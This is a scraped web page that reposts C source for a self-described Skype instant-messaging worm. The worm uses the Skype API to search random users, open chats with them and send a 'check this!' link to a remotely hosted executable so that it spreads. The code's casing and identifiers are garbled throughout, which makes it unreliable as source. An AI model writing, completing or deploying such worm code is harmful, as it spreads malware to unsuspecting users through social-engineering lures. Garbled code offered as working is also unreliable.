Skype im Worm

Source: Internet
Author: User
Tags strtok

Skype im Worm

/*************************************** **************************************** ****************
* I saw im worms around und but nothing using Skype. Skype is a nice im that let you *
* Chat or to do VoIP call, so it is possible to use this program like a spreading vector .*
* I tried to do direct file transfer but it didn't work so well, so I decided to send URL *
* To worm to the found users .*
* This is only a demonstration, this is a direct action worm, it will work only if Skype *
* Is Installed .*
* Greetz to: skyout, nibble, izee, radiation, berniee, sk0r, psyco_rabbit... and everybody *
* On # VX-lab and # EOF-Project *
* Bye bye... by wargame *
**************************************** **************************************** ***************/

# Include <windows. h>

/* Global handlers */
Static uint skypeattach;
Static uint skypediscover;
Static hwnd answer = NULL;
Static hwnd skypewnd = NULL;
Static char rnd_nick [2];

/* Generate random nicks to search */
Void getrandnick (void)
{

Char possible_searches [] = "qwertyuiopasdfghjklzxcvbnm ";

Srand (gettickcount ());
Rnd_nick [0] = possible_searches [rand () % 26];
Rnd_nick [1] = 0;

}

DWORD winapi s3arch (lpvoid data)
{
Char MSG [128];
Copydatastruct CDs;

While (1)
{
Getrandnick ();
Sprintf (MSG, "search users % s", rnd_nick );
CDs. dwdata = 0;
CDs. lpdata = MSG;
CDs. cbdata = strlen (MSG) + 1;
If (! Sendmessage (skypewnd, wm_copydata, answer, (lparam) & CDs ))
{
/* Skype closed */
Exitprocess (0 );
}
Sleep (1000*60) * 3);/* every 3 minutes */
}
}

Lresult callback skypeproc (hwnd, uint umsg, wparam, lparam)
{
Pcopydatastruct skypedata = NULL;
DWORD threadid;
Char * found_users = NULL, * chat_cmd = NULL, * chat_id = NULL, msg_cmd [256];
Copydatastruct CDs;

If (umsg = skypeattach)
{
If (lparam = 0)
{
Skypewnd = (hwnd) wparam;
Createthread (null, 0, & s3arch, 0, 0, & threadid );
}
}

If (umsg = wm_copydata)
{
If (wparam = skypewnd)
{
Skypedata = (pcopydatastruct) lparam;

If (skypedata! = NULL)
{

If (strstr (skypedata-> lpdata, "chat "))
{
Strtok (skypedata-> lpdata ,"");
Chat_id = strtok (null ,"");
/* This will send the URL to everybody */
Sprintf (msg_cmd, "chatmessage % s check this! Http://marx2.altervista.org/surprise.exe ", chat_id );

CDs. dwdata = 0;
CDs. lpdata = msg_cmd;
CDs. cbdata = strlen (msg_cmd) + 1;
Sendmessage (skypewnd, wm_copydata, answer, (lparam) & CDs );
}

If (strstr (skypedata-> lpdata, "users "))
{
Found_users = (char *) globalalloc (gmem_zeroinit | gmem_fixed, 3096 );

If (found_users = NULL)
{
Exitprocess (0 );
}

Chat_cmd = (char *) globalalloc (gmem_zeroinit | gmem_fixed, 3096 + 128 );

If (chat_cmd = NULL)
{
Exitprocess (0 );
}

Strcpy (found_users, (char *) skypedata-> lpdata );

Strcpy (found_users, found_users + 6 );

Sprintf (chat_cmd, "chat create % s", found_users );

/* Contact them */
CDs. dwdata = 0;
CDs. lpdata = chat_cmd;
CDs. cbdata = strlen (chat_cmd) + 1;
Sendmessage (skypewnd, wm_copydata, answer, (lparam) & CDs );

Globalfree (found_users );
Globalfree (chat_cmd );

}
}
}
}

Defwindowproc (hwnd, umsg, wparam, lparam );

Return 1 ;/*! = 0 */
}

Void makewindow (void)
{
Wndclass wndcls;

Memset (& wndcls, 0, sizeof (wndclass ));

Wndcls. lpszclassname = "warskype by [wargame, # EOF]";
Wndcls. lpfnwndproc = skypeproc;

If (registerclass (& wndcls) = 0)
{
Exitprocess (0 );
}

Answer = createdomainwex (0, wndcls. lpszclassname, "skype sucks! ", 0,-1,-1, 0, 0,
(Hwnd) null, (hmenu) null, (hinstance) null, null );

If (answer = NULL)
{
Exitprocess (0 );
}
}

Void runskype (void)
{
Hkey;
Char skype_path [max_path];
DWORD Len = max_path;
Startupinfo inf_prog;
Process_information info_pr;
Int user_ret;

# Define error MessageBox (null, "I cocould not find Skype! "," Error! ", Mb_ OK | mb_iconerror );/
Exitprocess (0 );

/* Path of Skype in registry */
If (regopenkeyex (HKEY_LOCAL_MACHINE, "software // Skype // phone", 0,
Key_query_value, & hkey )! = Error_success)
{
Error
}

If (regqueryvalueex (hkey, "skypepath", 0, null, skype_path,
& Len )! = Error_success)
{
Error
}

Regclosekey (hkey );

Memset (& inf_prog, 0, sizeof (startupinfo ));
Memset (& info_pr, 0, sizeof (process_information ));

Inf_prog.cb = sizeof (startupinfo );
Inf_prog.dwflags = startf_useshowwindow;
Inf_prog.wshowwindow = sw_show;

If (CreateProcess (null, skype_path, null, null, false, create_new_console, null,
Null, & inf_prog, & info_pr ))
{
MessageBox (null, "allow this program in Skype! "," Warning! "
, Mb_ OK | mb_iconwarning );
}

Else
{
Error
}
}

Int _ stdcall winmain (hinstance, hinstance hprevinstance, lpstr lpcmdline, int ncmdshow)
{
MSG omessage;
Skypeattach = registerwindowmessage ("skypecontrolapiattach ");
Skypediscover = registerwindowmessage ("skypecontrolapidiscover ");

Runskype ();/* (try to) run Skype */

If (skypeattach! = 0 & skypediscover! = 0)
{
Makewindow ();/* Create window */
Sendmessage (hwnd_broadcast, skypediscover, answer, 0 );

While (getmessage (& omessage, 0, 0, 0 )! = False)
{
Translatemessage (& omessage );
Dispatchmessage (& omessage );
}

}

}
 

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.